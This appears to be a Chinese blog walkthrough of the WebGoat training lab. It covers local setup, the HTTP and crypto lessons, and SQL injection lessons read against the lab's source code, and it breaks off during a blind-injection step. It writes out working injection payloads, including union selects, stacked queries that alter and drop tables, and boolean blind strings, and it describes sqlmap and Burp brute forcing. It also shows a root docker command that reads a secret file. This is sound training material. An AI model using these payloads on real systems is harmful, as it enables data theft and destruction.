0


再战WebGoat之代码审计

声明

好好学习,天天向上

回想首次接触webgoat已是两年前,当时可能连漏洞原理都不是很明白就开始上手靶场了,也是搜了很多文章,还用的word的方式写的草稿,惭愧惭愧。webgoat一直是我心中高质量的靶场,其实当时发布文章时,我就一直在想怎么才能边改代码边调试边攻击,现在,是时候拿下这个山头了

源码部署

这次我们选择IDEA+Maven+JDK15+webgoat源码的方式来部署,这样可以随时分析代码

使用最新版8.2.2

https://github.com/WebGoat/WebGoat/releases/

IDEA

使用社区版,安装过程无比简单

https://www.jetbrains.com/idea/download/#section=windows

请添加图片描述

maven

当然必不可少,我这里使用的是3.8.6

安装过程也是十分简单

https://maven.apache.org/download.cgi

在这里插入图片描述

但是不要忘了把IDEA集成maven

在这里插入图片描述

在这里插入图片描述

JDK15

https://www.oracle.com/java/technologies/downloads/archive/

webgoat官方上说的是需要java17,我这里用15也能跑通,所以就先用15,后面再有问题再进行调整

在这里插入图片描述

当然这个15不用在系统环境变量中改,因为我系统环境变量默认配的是8,所以这里在idea中修改即可

在这里插入图片描述

导入maven项目

在这里插入图片描述

选择webgoat的源码文件夹,并选择maven

在这里插入图片描述

在这里插入图片描述

配置

查看是否安装lombok插件

我得idea是安装好后自带这个插件

在这里插入图片描述

修改pom.xml,修改org.owasp的版本号,修改为6.5.3

在这里插入图片描述

运行

找到webgoat-server目录中的StartWebGoat类,右键启动

在这里插入图片描述

在这里插入图片描述

先让他下一会

在这里插入图片描述

看到日志都没有报错,即可访问

在这里插入图片描述

http://localhost:8080/WebGoat/login

在这里插入图片描述

修改默认端口

webgoat默认端口为8080,我们全局搜一下8080

在这里插入图片描述

看到一个比较像配置的properties文件

在这里插入图片描述

点进去可以看到webgoat和webwolf分别是8080和9090

我修改为18080和19090

在这里插入图片描述

重启webgoat,顺便也启动下webwolf

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

连接数据库

刚刚看webgoat和webwolf的配置的时候,顺便一看,就看到了9001端口的hsql数据库,当然我现在对这个数据库也很陌生(数据库和语言也类似,会一门就要学会反推N门,不能因为遇见一个陌生的东西,就忘记百度了),这个数据库是内置在webgoat中的,当然有web肯定要有库,不然存在哪,不过其实像这种靶场,方便大家安装可以直接存在csv、xml等,这里既然用了hsql,我们就连一下看看

hsql教程

http://www.vue5.com/hsqldb/hsqldb_where_clause.html

连接hsql,需要用hsqldb.jar,当然版本具体而定,我全局搜了一下,刚好我安装的maven里就有这个,那就直接拿来用呗

在这里插入图片描述

运行jar包,URL改为这个,密码在配置里也没找到,就先不输入密码试一试

jdbc:hsqldb:hsql://localhost:9001/webgoat

在这里插入图片描述

注册一个用户,查一下,嗯,果然能查到,没问题了

在这里插入图片描述

Introduction

其实webwolf就类似我挖到漏洞了,然后传cookie啊,发邮件可以充当攻击服务器这样一个角色

进入webwolf中,webwolf是可以接收邮件的

登录webwolf,用户名密码用webgoat的

在这里插入图片描述

webgoat输入

[email protected]

在这里插入图片描述

webwolf接收

在这里插入图片描述

在这里插入图片描述

webgoat输入这个

在这里插入图片描述

下一关

假设这个页面就是攻击者的钓鱼页面,点击重置密码用于重置自己的密码,点击后就会将受害者输入的密码发送到webwolf中,我们试一下

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这就是webwolf的应用,其实就是帮我们搭的一个简易的XSS,或者说用于接收请求的平台

General

HTTP Basics

这里介绍了HTTP的基础,其实就是发送HTTP请求,我们要熟悉GET、POST、HTTP请求头和响应头!

刚好这里说一下,只用于监控抓取HTTP层包的,我就用fiddler,需要进行重放修改的,我就用bp了

在这里插入图片描述

使用fiddler查看,可以看到把我输入的123123,变成321321输出到了页面上

在这里插入图片描述

下一关,让输入magic number

随便输入后,抓包查看,原来webgoat自动在我们输入的参数前,又加了一个POST

在这里插入图片描述

输入59

在这里插入图片描述

HTTP Proxies

主要是让我们练习使用代理工具

在这里插入图片描述

点击Submit后,明明是POST,题上让我们修改请求为POST并且将POST请求体加到URL上值改为【Requests are tampered easily】,并且增加一个请求头【x-request-intercepted:true】

在这里插入图片描述

从后台代码可以看到,当x-request-intercepted为true或者false会对应两种不同的输出

在这里插入图片描述

这里也可以找到对应配置

在这里插入图片描述

所以,我们要让其返回有关success的

GET /WebGoat/HttpProxies/intercept-request?changeMe=Requests+are+tampered+easily HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:18080/WebGoat/start.mvc
Content-Length: 0
Cookie: JSESSIONID=orr6Ea8cUBxn016ogcaA3l7xwTqMC4WWqAGQYY58
DNT: 1
Connection: close
x-request-intercepted: true

错误返回,我把【x-request-intercepted】设置为false,可以看到properties中的错误返回

在这里插入图片描述

改为true后

在这里插入图片描述

Developer Tools

通过F12的控制台可以直接调用内部方法了

在这里插入图片描述

在这里插入图片描述

其实也没那么神秘

调用webgoat.customjs.phoneHome()方法后,会跳到这个controller,DOMCrossSiteScripting.java,生成随机数

在这里插入图片描述

下一关,当点击Go的时候会发送一个请求,在里面找随机数吧

在这里插入图片描述

点击Go

在这里插入图片描述

在这里插入图片描述

我们看看这个调用过程

我点Go抓包,当点击Go时,访问NetworkLesson.java,获取随机值,并写到页面上

在这里插入图片描述

点击Check时,会进入这里进行对比

在这里插入图片描述

当然不用抓包在页面上也能看到,因为如果看不到请求里就抓不到了

在这里插入图片描述

所以我们直接复制页面上的数,也可以直接ok的

在这里插入图片描述

CIA Triad

信息安全三要素,保密性,完整性,可用性,这个直接看题吧

1.How could an intruder harm the security goal of confidentiality?
Solution 1: By deleting all the databases.
Solution 2: By stealing a database where general configuration information for the system is stored.
Solution 3: By stealing a database where names and emails are stored and uploading it to a website.
Solution 4: Confidentiality can't be harmed by an intruder.
入侵者如何损害保密的安全目标?
解决方案1:删除所有数据库。
解决方案2:窃取存储系统一般配置信息的数据库。
解决方案3:窃取存储姓名和电子邮件的数据库,并将其上传到网站。
解决方案4:入侵者不会损害机密性。
【题目主要是针对保密性,既然是针对保密性就要获取到保密的数据,能解密最好】
1.首先删库没一点用,数据都删了还谈何解密
2.窃取一般配置,凑合还行,能窃取到用户名密码这种核心配置还好,窃取个端口啊URL,基本没用,不过可以作为次选
3.姓名电子邮件,在2022年已经是即为重要敏感的个人信息,拿到就赚(社工)
4.得

2. How could an intruder harm the security goal of integrity?
Solution 1: By changing the names and emails of one or more users stored in a database.
Solution 2: By listening to incoming and outgoing network traffic.
Solution 3: By bypassing the access control mechanisms used to manage database access.
Solution 4: Integrity can only be harmed when the intruder has physical access to the database.
2.入侵者如何损害完整性的安全目标?
解决方案1:更改数据库中存储的一个或多个用户的姓名和电子邮件。
解决方案2:通过监听传入和传出网络流量。
解决方案3:绕过用于管理数据库访问的访问控制机制。
解决方案4:只有当入侵者能够物理访问数据库时,完整性才会受到损害。
【题目主要是针对完整性,既然是针对完整性就要更改数据】
1.刚说更改就遇见了这个,感觉最像了
2.也是改,但是这种相当于是间接修改,通过流量的话,没有1直接修改数据库多暴力,流量的话,万一代码做了校验之类的,可以做个次选
3.感觉和完整性关系不大
4.只有这关键字就是雷,数据库基本都是远程访问吧

3. How could an intruder harm the security goal of availability?
Solution 1: By exploiting a software bug that allows the attacker to bypass the normal authentication mechanisms for a database.
Solution 2: By redirecting sensitive emails to other individuals.
Solution 3: Availability can only be harmed by unplugging the power supply of the storage devices.
Solution 4: By launching a denial of service attack on the servers.

3.入侵者如何损害可用性的安全目标?
解决方案1:利用允许攻击者绕过数据库正常身份验证机制的软件缺陷。
解决方案2:将敏感电子邮件重定向到其他个人。
解决方案3:只有拔掉存储设备的电源才能损害可用性。
解决方案4:在服务器上发起拒绝服务攻击。
【题目主要是针对可用性性,既然是针对可用性就要让目标系统瘫痪】
1.绕过身份验证直接登录,和可用无关,正常用户该咋用咋用
2.一样,敏感信息泄露,不会直接让系统瘫痪
3.拔线,确实可以损害,不过不是只有
4.发起DOS,这个没问题

4. What happens if at least one of the CIA security goals is harmed?
Solution 1: All three goals must be harmed for the system's security to be compromised; harming just one goal has no effect on the system's security.
Solution 2: The system's security is compromised even if only one goal is harmed.
Solution 3: It is acceptable if an attacker reads or changes data since at least some of the data is still available. The system's security is compromised only if its availability is harmed.
Solution 4: It is acceptable if an attacker changes data or makes it unavailable, but reading sensitive data is not tolerable. The system's security is compromised only if its confidentiality is harmed.
4.如果至少一个CIA安全目标受到损害,会发生什么?
解决方案1:必须损害所有三个目标,才能损害系统的安全性;只损害一个目标对系统的安全性没有影响。
解决方案2:即使只有一个目标受到损害,系统的安全性也会受到损害。
解决方案3:如果攻击者读取或更改数据,这是可以接受的,因为至少部分数据仍然可用。只有当系统的可用性受到损害时,系统的安全性才会受到损害。
解决方案4:如果攻击者更改数据或使其不可用,这是可以接受的,但不允许读取敏感数据。只有当系统的机密性受到损害时,系统的安全性才会受到损害。
【大局观】
1.太绝对,信息安全三要素,每一个都很重要
2.符合安全客观的理念
3、4不能接受,还很绝对

在这里插入图片描述

在这里插入图片描述

Crypto Basics

加密对于安全其实一直都很重要,脑子里要有个概念

目前遇到的“看似加密的”字符串:
1.编码类,base64编码或者url编码,怎么编码就怎么解码,可以看做是明文
2.对称、非对称加密,HTTPS的应用,这个加密后是没有秘钥是真的不好解开
3.hash摘要算法,主要用于完整性校验,例如md5等

Base64 Encoding

前面也说了base64等于明文,著名的中国菜刀流量就是base64传输的,所以菜刀现在基本也见不到了

假如截获了d2ViZ29hdDphZG1pbg==,让输入用户名密码,显然需要解码

在这里插入图片描述

用火狐解码后

webgoat:admin

在这里插入图片描述

在这里插入图片描述

其实要有个概念,base64就是明文

Other Encoding-XOR encoding

其他的编码,像URL,HTML也都只是编码

告诉我们Oz4rPj0+LDovPiwsKDAtOw==是经过XOR进行编码过的,需要我们解码,将内容填到框框里面

在这里插入图片描述

刚看到这个我还以为是送分题,没想到还拐了不少弯弯

先公布答案,因为这个我也是从答案中慢慢反推,学到的,这个网站可以直接解码(但是我还真是没弄明白XOR编码不是需要秘钥吗,这个网站怎么知道我们的秘钥,难道。。。?)

http://www.poweredbywebsphere.com/decoder.html

当然,我是在这里看的答案,会进入XOREncodingAssignment.java和databasepassword进行比较,所以答案就是

databasepassword

在这里插入图片描述

既然到这了,就应该研究一下XOR究竟何方神圣

明文为

databasepassword

密文为

Oz4rPj0+LDovPiwsKDAtOw==

密文看着真的像BASE64

这里直接说原理吧

既然明文为databasepassword,将这个字符串的每一位都拿出来,转成2进制

http://c.biancheng.net/c/ascii/

比如第一位是d,转成二进制为
01100100    100    64    d

站在上帝视角看,秘钥是“_”
01011111    95    5F    _

将01100100和01011111按位异或(相同取0,不同取1,说白了就就是00和11取0,10取1)
d   01100100
_   01011111
结果 00111011

是分号
00111011    59    3B    ;

分号应为编码后的第一位啊,和这个Oz4rPj0+LDovPiwsKDAtOw==也不一样啊,刚刚说道Oz4rPj0+LDovPiwsKDAtOw==看着像base64的,我们对其进行base64解码看看
解出为
;>+>=>,:/>,,(0-;
并且和databasepassword位数一样

所以编码过程就是将databasepassword的每一位转成二进制,和秘钥的每一位转成二进制(这里秘钥只有一位也就是_),每一位的二进制都按位异或,异或后进行base64编码
所以说这个编码方式还牵扯到了秘钥的问题,有点类似于对称加密的概念了,而且有了秘钥的说法,再说自己是编码还确实挺谦虚的

其实这个原理很简单,但是搜了网上很多的在线编码或者解码,没一个靠谱的,不就是把明文每一位和秘钥每一位按位异或再base64吗,网上这一个个的界面都有,就是不好好整,利用python写了一个秘钥可以是多位的

import base64

# def xor_encode(plaintext='Oz4rPj0+LDovPiwsKDAtOw==', key = '_'):
def xor_encode(plaintext='1234', key = 'AB'):
    plaintext = plaintext.encode('ascii')

    key_len = len(key)
    ciphertext = ''
    if key_len == 1:
        for bit in plaintext:
            xor_bit = chr(bit ^ ord(key))
            ciphertext += xor_bit

    elif key_len > 1:
        for index in range(len(plaintext)):
            key_index = index % len(key)
            # print(key[key_index])
            xor_bit = chr(plaintext[index] ^ ord(key[key_index]))
            ciphertext += xor_bit

    print('------------------------------------------------------')
    ciphertext = base64.b64encode(ciphertext.encode('ascii'))
    print(f'明文为: {plaintext.decode("ascii")}')
    print(f'秘钥为: {key}')
    print(f'密文为: {ciphertext.decode("ascii")}')
    print('------------------------------------------------------')

def xor_dencode(ciphertext='Oz4rPj0+LDovPiwsKDAtOw==', key = '_'):
# def xor_dencode(ciphertext='cHBydg==', key='AB'):
    ciphertext_base64 = base64.b64decode(ciphertext)
    key_len = len(key)
    plaintext = ''
    if key_len == 1:
        for bit in ciphertext_base64:
            xor_bit = chr(bit ^ ord(key))
            plaintext += xor_bit

        print('------------------------------------------------------')
        print(f'密文为: {ciphertext}')
        print(f'密文base64解码: {ciphertext_base64.decode("ascii")}')
        print(f'秘钥为: {key}')
        print(f'明文为: {plaintext}')
        print('------------------------------------------------------')

    elif key_len > 1:
        for index in range(len(ciphertext_base64)):
            key_index = index % len(key)
            # print(key[key_index])
            xor_bit = chr(ciphertext_base64[index] ^ ord(key[key_index]))
            plaintext += xor_bit

        print('------------------------------------------------------')
        print(f'密文为: {ciphertext}')
        print(f'密文base64解码: {ciphertext_base64.decode("ascii")}')
        print(f'秘钥为: {key}')
        print(f'明文为: {plaintext}')
        print('------------------------------------------------------')

if __name__ == '__main__':
    xor_dencode()
    xor_encode()

在这里插入图片描述

Plain Hashing

题目说的很明白了,类似md5、sha1、sha256等等这种都是hash类算法,不可逆,但是虽然不可逆,为什么网上还有很多md5解密,当然他们的后台有着大量的彩虹表(将明文字典使用md5加密后的字典),他们知道加密前的数据,所以我们有时候会使用这些网站,比如

https://www.cmd5.com/

在这里插入图片描述

按F5刷新抓包,发现会发两个请求,sha256会返回一个sha256加密的数据,md5会返回md5加密的数据

不过认真看的话,会发现每次返回的密文都不一样,既然md5和sha256对同一明文加密后的结果都一样,那自然是明文有多个了

在这里插入图片描述

查看代码可发现,这是每次根据数组长度区间获取随机值,在这个数据组随机选一个进行sha256或者md5加密

在这里插入图片描述

既然到了这了,我们就用python练习一下

先根据答案的数据列表初始化一张彩虹表

用户输入内容然后进行解密

import hashlib
import requests

def init_rainbow():
    plaintext_list = ["secret","admin","password", "123456", "passw0rd"]

    for plaintext in plaintext_list:
        with open('md5.txt', 'a') as f:
            content = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
            f.write(plaintext + ':' + content)
            f.write('\n')

        with open('sha256.txt', 'a') as f:
            content = hashlib.sha256(plaintext.encode('utf-8')).hexdigest()
            f.write(plaintext + ':' + content)
            f.write('\n')

def hash_decrypt():
    md5_list = []
    sha256_list = []
    with open('md5.txt', 'r') as f:
        md5_list = f.read().split('\n')

    with open('sha256.txt', 'r') as f:
        sha256_list = f.read().split('\n')

    ciphertext = input("请输入密文(不输入内容直接回车可退出): ")
    while(ciphertext):

        if len(ciphertext) <=32:
            for str in md5_list:
                if str != '':
                    key = str.split(':')[0]
                    value = str.split(':')[1]

                    if value.lower() == ciphertext.lower():
                        print(f"解密后为: {key}")
        elif len(ciphertext) >32:
            for str in sha256_list:
                if str != '':
                    key = str.split(':')[0]
                    value = str.split(':')[1]

                    if value.lower() == ciphertext.lower():
                        print(f"解密后为: {key}")

        ciphertext = input("请输入密文(不输入内容直接回车可退出): ")

if __name__ == '__main__':
    # init_rainbow()
    hash_decrypt()

在这里插入图片描述

在这里插入图片描述

Symmetric encryption/Asymmetric encryption

其实这一关主要是在阐述HTTPS中的非对称、对称加密等,还有经常我们为了保证完整性会对文件等数据进行摘要

这道题没有过多需要说明的,根据题目给定的私钥,生成公钥和签名

使用kali

将私钥保存在webgoat.key中

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuGa/dMpq3N6uJzr39zQBd4pZwS//IstpYcQqMbG5Mpl0Xvj9N686ywmmmu0VpZrXYbqy7cUjQnkCTIWd//jFgonCSbpe5a3YOxE2Xf/guw3m9R4LSnUZyNTfAzd9ek7MJkA17BG80ZBt0cQF75obxp9bAqEdRiM2wv87sCaGzROlASBdllgFu3KUBq3pp2gf38b99sHftLNJ5bmE59bBSq9LgEsTvFjzoHHw937aDzg/pgFj02RcuU0o6+6pxuERSf7ELB62e0n9hlbZHdo4X8MtCY225HwSFvqkwph9k1r8hTM2W4lAUaS2WlCDGnG/zPKpzdSOt1vdSGtp7QnddAgMBAAECggEATV2m0/H/5Lk9ZkDUFuu5ZP8jAQYUxVgNRU3+dQZeQXuQVNO7B+Jo+PEByBDiOINm/aW45pbh16rrYTZv6uXHhXzJ75hrnf8N+GPtYwx/+i/tclpL3VH8kxXpD6mswDd8URyNkQQYcryloqnxEeEQSGTgPr7I6oeTeB7UUfm5vJJ9PM4h6U1A7RUl2MGZjsfUHqc5QVYjB78Ymiq5MI3Oj2wU/Q6suMoJF7MaDhbMYoqOkVKauvTROD+NDd9PNZ68tO3BuHdg57qUNVx0xxoobgPqIY60aXSneLHzNt8/5nBDrXP/cvNZT2DOptENPQhUHLFSB3BuqoGV8lnvbLCKFQKBgQD8dDk1NghKANy1IlsXfvXjixtpD10SkuouWOtA6+I1JMXR9SSr3OheLRkGpDCmCKUmIXZFmhjJPgoEgE2buZnanYX53sibNSOUpauNUiDq6ueIi6hZW2V1MFHb2q0DZXe0CxcOfkTCbaINqoc5anmvfkw1+nHHECEh1F9MjhnB2wKBgQCwi7f57u9CsQZxRDSG9FZdRs6w3FU9GBF3EMrTV+vYPX7fRGaWq+x4oiuf2of8wK7OX9HsNNMzubEQzJCiuOAPd/d34XUlh+HrN9EkPehniD3ICDxk24W0377aARS/gjsmx1igk6Dz8BaCeTUr8OyaLMIfrL1xWlkVXu61B2p9JwKBgQDA/UhOeUPU7tvKTL0+NPxcOpd1tRz9efoz/B27v5dp8PaZDsI9795jQC6FeTcHdkxp3eLASpDwJtEZp8usZDJNgWZOIhVRMUpF9HA01Lf9Xh4psDm+NbRV5d5uJ7ljg0oDBQdXOQfvakgcEmTVa6QimHZCPXaFKrtpVSSVLXxbSQKBgB3gl1MJ153uvYtfopAQO6lveT0/HIHJV/NReTHJGFWxGo6IUeA/2jYUI9PatNbWeP7eAnW5/uArFcclB3kyVmDnyY6VLjEazOX0vUUn4PPcf7AhjK7446jXkMHuGufKD16hr+ME+OEviW+tOY1lKXVyC6w2nJzZUGgod7dVOPVTAoGBANZ6pvby24MvaD0Ny1dEnU/AbxqAGLxAoAci9BArxDqqlYzKtlYEnJNPql2/wzDSprHT09qjOmbQnkYE0sTjU7uvbCaWGPLWL4BU4YmKZkZkZD+sw3udyX/tNvgmfoQSrZk31SiosxkCNmqAkBeWy9IiogeVCCqm7a3vpw9dBCD+
-----END PRIVATE KEY-----
1.根据私钥webgoat.key生成公钥webgoat.pub
openssl rsa -in webgoat.key -pubout > webgoat.pub

2.获取公钥的modulus
openssl rsa -in webgoat.pub -pubin -modulus -noout

3.根据modulus获取签名
echo -n "上一条命令结果modulus" | openssl dgst -sign webgoat.key -sha256 -out webgoat.sha256
即:
echo -n "AE19AFDD329AB737AB89CEBDFDCD005DE296704BFFC8B2DA58710A8C6C6E4CA65D17BE3F4DEBCEB2C269A6BB456966B5D86EACBB7148D09E409321677FFE3160A270926E97B96B760EC44D977FF82EC379BD4782D29D46723537C0CDDF5E93B309900D7B046F34641B7471017BE686F1A7D6C0A8475188CDB0BFCEEC09A1B344E94048176596016EDCA501AB7A69DA07F7F1BF7DB077ED2CD2796E6139F5B052ABD2E012C4EF163CE81C7C3DDFB683CE0FE98058F4D9172E534A3AFBAA71B844527FB10B07AD9ED27F6195B647768E17F0CB42636DB91F0485BEA930A61F64D6BF214CCD96E25014692D969420C69C6FF33CAA737523ADD6F7521ADA7B42775D" | openssl dgst -sign webgoat.key -sha256 -out webgoat_sign.sha256

4.将签名base64
openssl enc -base64 -in webgoat_sign.sha256 -out webgoat_sign.sha256.base64

填入第二步和第四步执行结果

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Protecting your key

主要说了很多秘钥的保存方式,我们不能生成了秘钥就什么也不管了,其实PKI就是在做这些事,我们要有证书的申请、生成、使用、销毁等,围绕生命周期对我们的秘钥进行全生命周期的管理

已知密文为U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=,秘钥保存在docker镜像中,我们需要将镜像跑成容器,就能找到秘钥了,最后,根据秘钥解密,得到明文

docker run -d webgoat/assignments:findthesecret

docker exec -it --user=root vigilant_shaw cat /root/default_secret

即:
docker exec -it --user=root vigilant_shaw /bin/bash/
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -k ThisIsMySecretPassw0rdF0rY0u

在这里插入图片描述

在这里插入图片描述

Leaving passwords in docker images is not so secure
default_secret

在这里插入图片描述

Writing new lesson

(A1) Injection

SQL Injection (intro)

What is SQL?

给出一张表employees,要求查出Bob的部门department,那随便查了

在这里插入图片描述

select userid, first_name, last_name, department, salary, auth_tan from employees  where userid = 96134

那么这里为什么会判别我们写的sql语句没问题呢?

是通过正则或者关键字匹配我们写入的sql没问题还是将我们的sql执行查询后,对结果集进行判断

在这里插入图片描述

根据抓包可知,是跳到这个controller中

SqlInjectionLesson2.java

打个断点,分析一下源码

可以看到,这里会执行我们输入的sql语句,将结果集中的department的值和Marketing比较

在这里插入图片描述

可以看到这里的sql过程很简单,拿到语句就直接执行,没有用户输入的黑白名单匹配,也没有预处理,所以像这种就会存在sql注入

Data Manipulation Language (DML)

熟悉的DML,数据操纵语音,说白了就是增删改查,以后看了不能再陌生了,其实像我们给研发管理数据库权限,会经常和这些碰面

所谓增删改查,就是这些,所以DML应该是我们最熟练的

SELECT - retrieve data from a database
INSERT - insert data into a database
UPDATE - updates existing data within a database
DELETE - delete records from a database

题目让我们把Tobi Barnett的部门改为销售Sales

直接登进数据库看看(当然也可以去上一关select *再看看),现在是研发部,直接去销售,估计要吐血吧

在这里插入图片描述

update employees set department = 'Sales' where userid = 89762

在这里插入图片描述

在这里插入图片描述

后台每次在执行完我们输入的sql语句后,会再查一次这个人的部门进行对比

在这里插入图片描述

Data Definition Language (DDL)

数据定义语言,我们上面刚熟悉了DML,对表的增删改查,如果没有人创建表、创建视图,DML无从下手啊,所以DDL,得有人定义好表、视图,才能做增删改查

- CREATE - create database objects such as tables and views
- ALTER - alters the structure of the existing database
- DROP - delete objects from the database

题目让给employees表增加一列,上面看数据库的时候已经看到了,只有6列

ALTER TABLE employees ADD phone varchar(20)

在这里插入图片描述

代码里会在我们执行完后,去查表里的phone字段,看看有没有第一条记录

在这里插入图片描述

在这里插入图片描述

Data Control Language (DCL)

数据控制语言,其实工作中经常会遇到,给数据库某个用户开通到某个库的某张表,就是在说这个,有点访问控制的味道了

- GRANT -  give a user access privileges on database objects
- REVOKE - withdraw user privileges that were previously given using GRANT

向用户unauthorized_user授予表grant_rights的权限

我这里加一个insert

grant insert on grant_rights to unauthorized_user

在这里插入图片描述

代码中在执行完我们的语句后,会在schema表中查权限

在这里插入图片描述

Try It! String SQL injection

字符型的说白了就是闭合单引号,双引号等等特殊符号的问题

已知原sql语句为

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

现在需要通过闭合’的方式,将所有内容查出

我们抓住三点

1,前面的单引号,是需要我们闭合的,所以第一块我们要填写一个能把单引号闭合的

2,最后最后的单引号也一样

3,在1和2的基础上要让or成立

在这里插入图片描述

Try It! Numeric SQL injection

数字型的

题中说,有一个参数可能存在sql注入,我们要先判断是哪个

其实我们可以手动把两个参数各写入特殊符号,Login_Count:会报:Could not parse: 1–+ to a number

或者就是下图也会有提示

在这里插入图片描述

很明显是User_Id参数了,Login_Count经过了预处理,既然前面是select * ,目标也是select *,反手union

1 union select * From user_data;

在这里插入图片描述

这里会查我们的结果,高于6条才算通关

在这里插入图片描述

Compromising confidentiality with String SQL injection

说的是破坏机密性,还不是把能查的都查出来

依旧是闭合功底

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
除去影响我判断的双引号(双引号在这里只是标识字符串拼接),以及+

SELECT * FROM employees WHERE last_name = 'name' AND auth_tan = 'auth_tan';

第一个参数无所谓写啥都行,我还在后面union
第一个参数写1
第二个参数写1' union select * from employees--+

SELECT * FROM employees WHERE last_name = '1' AND auth_tan = '1' union select * from employees--+’;

在这里插入图片描述

Compromising Integrity with Query chaining

破坏完整性了,也就是要改数据库了

USERID    FIRST_NAME    LAST_NAME    DEPARTMENT    SALARY    AUTH_TAN    PHONE
32147    Paulina    Travers    Accounting    46000    P45JSI    null
34477    Abraham     Holman    Development    50000    UU2ALK    null
37648    John    Smith    Marketing    64350    3SL99A    null
89762    Tobi    Barnett    Sales    77000    TA9LL1    null
96134    Bob    Franco    Marketing    83700    LO9S2V    null

我是John Smith,我才6万直接改999999

1
1';update employees set SALARY = 999999 where AUTH_TAN = '3SL99A'--+

在这里插入图片描述

Compromising Availability

挺有意思的,可用性

access_log表记录着我们上面做过的所有“坏事”,现在需要删掉这张表

在这里插入图片描述

1';drop table access_log--+

在这里插入图片描述

在这里插入图片描述

SQL Injection (advanced)

Try It! Pulling data from other tables

给了两张表

CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);

CREATE TABLE user_system_data (userid int not null primary key,
                               user_name varchar(12),
                               password varchar(10),
                               cookie varchar(30));

随便输入单引号,查看这里是单引号闭合,并且查询的是user_data表

在这里插入图片描述

那我们依旧老方法,通过堆叠也好通过union也好,不过这里需要注意下,原SQL语句为

user_data这张表中有7个字段,第一个和第七个是int,中间五个是字符char,那使用union的时候第一个为userid,因为userid在第二张表中为int,中间不够7列的话,补充字符串要加’',user_data最后一列是数字就直接用数字7表示

SELECT * FROM user_data WHERE last_name = ''
1';select * from user_system_data;--+
1' union select userid, user_name, password, cookie, '5', '6', 7 from user_system_data--+

不过我这里只查出来还没验证密码,怎么上面的过关就变成绿色了呢

在这里插入图片描述

查看源码跟踪后,发现只要我们查出的结果包含dave并且包含passW0rD,就直接success了

在这里插入图片描述

Can you login as Tom?

需要我们用前面学到的知识,使用tom登录进去

在这里插入图片描述

看到登录框,我第一个想到的是万能密码,也就是类似下面的这种

tom' or true;--+

不过都是失败,而且试了很多关键字,并没有能注入的感觉

往右一看,还有个注册功能,不过注册tom的时候失败了

在这里插入图片描述

难道是二次注入?

先注册一个tom;–+,不过也不行,登录的地方没有sql注入

对username_reg试几个关键字

注册一个存在的用户返回

User tom already exists please try to register with a different username

注册一个不存在的用户返回

User tomm created, please proceed to the login page

并且用户名改为,可以一直注册,这就说明and false被执行了,所以导致结果返回false,从而代码判断该用户不存在,就一直可以注册

tom' and false--+

在这里插入图片描述

看一眼数据库

在这里插入图片描述

这一下就确认了,boolean的盲注了

反正只会返回两种结果,掏出sqlmap跑一下

python2 sqlmap.py -r zzz.txt --dbs --no-cast

爆出了库

7个库爆破了将近40分钟

在这里插入图片描述

[*] CONTAINER
[*] container
[*] INFORMATION_SCHEMA
[*] PUBLIC
[*] SYSTEM_LOBS
[*] webgoat
[*] webgoat1

从界面上看也是能对上的,INFORMATION_SCHEMA系统库,这里没有显示罢了

在这里插入图片描述

我们得向sqlmap学习一下,我在sqlmap爆破的时候,用wireshark抓包,可以看到

和我们手动盲注几乎一样

在这里插入图片描述

在这里其实看的不是很明显,不过是原生的,所以sqlmap爆破库用的payload就是

tom' AND ASCII(SUBSTR((SELECT LIMIT 6 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),9,1))>1 AND 'HIjb'='HIjb"

既然是注册功能,当然注册的表中也能看到所有的记录

在这里插入图片描述

有了这些,我们也来手动试一下爆破库,就爆破webgoat这个库吧

一共7个库,webgoat是第六个,webgoat有7位

第一位,w,对应ascii的十进制为119,我们就大于118,大于118肯定是true,所以AND true的结果也为true,所以后台判断是找到了这个用户,就会返回已存在

tom' AND ASCII(SUBSTR((SELECT LIMIT 5 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),1,1))>118 AND '1'='1

在这里插入图片描述

我们已经知道w的ASCII码十进制为119,所以大于119位false,没找到这个用户,所以就能注册

tom' AND ASCII(SUBSTR((SELECT LIMIT 5 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem),1,1))>119 AND '1'='1

在这里插入图片描述

不过我这里再往下的话,也确实进行不下去了

sqlmap也没扫出来

在这里插入图片描述

那就得换个思路了,这里直接爆破密码的列名,使用,说下思路,如果列名pass存在,那么列名的长度length肯定大于0,也就是true,也就会返回用户已经存在的响应,否则返回的就是solution错误的

tom' and length(pass)>0--+
Sorry the solution is not correct, please try again.

bp爆破开整

在这里插入图片描述

导入sqlmap的列名字典

在这里插入图片描述

412长度的响应都是用户已存在

很明显412的列都是存在的,那密码相关的自然就是password

在这里插入图片描述

爆破出了密码的字段名,接下来就是长度和具体内容了

依旧是412,那就是23位呗

在这里插入图片描述

接下来爆破每一位

tom' and substring(password,§1§,1)='2'--+

在这里插入图片描述

第一个参数就选1-24

第二个参数就选a-z(这里我已经知道答案是小写,不然会都选)

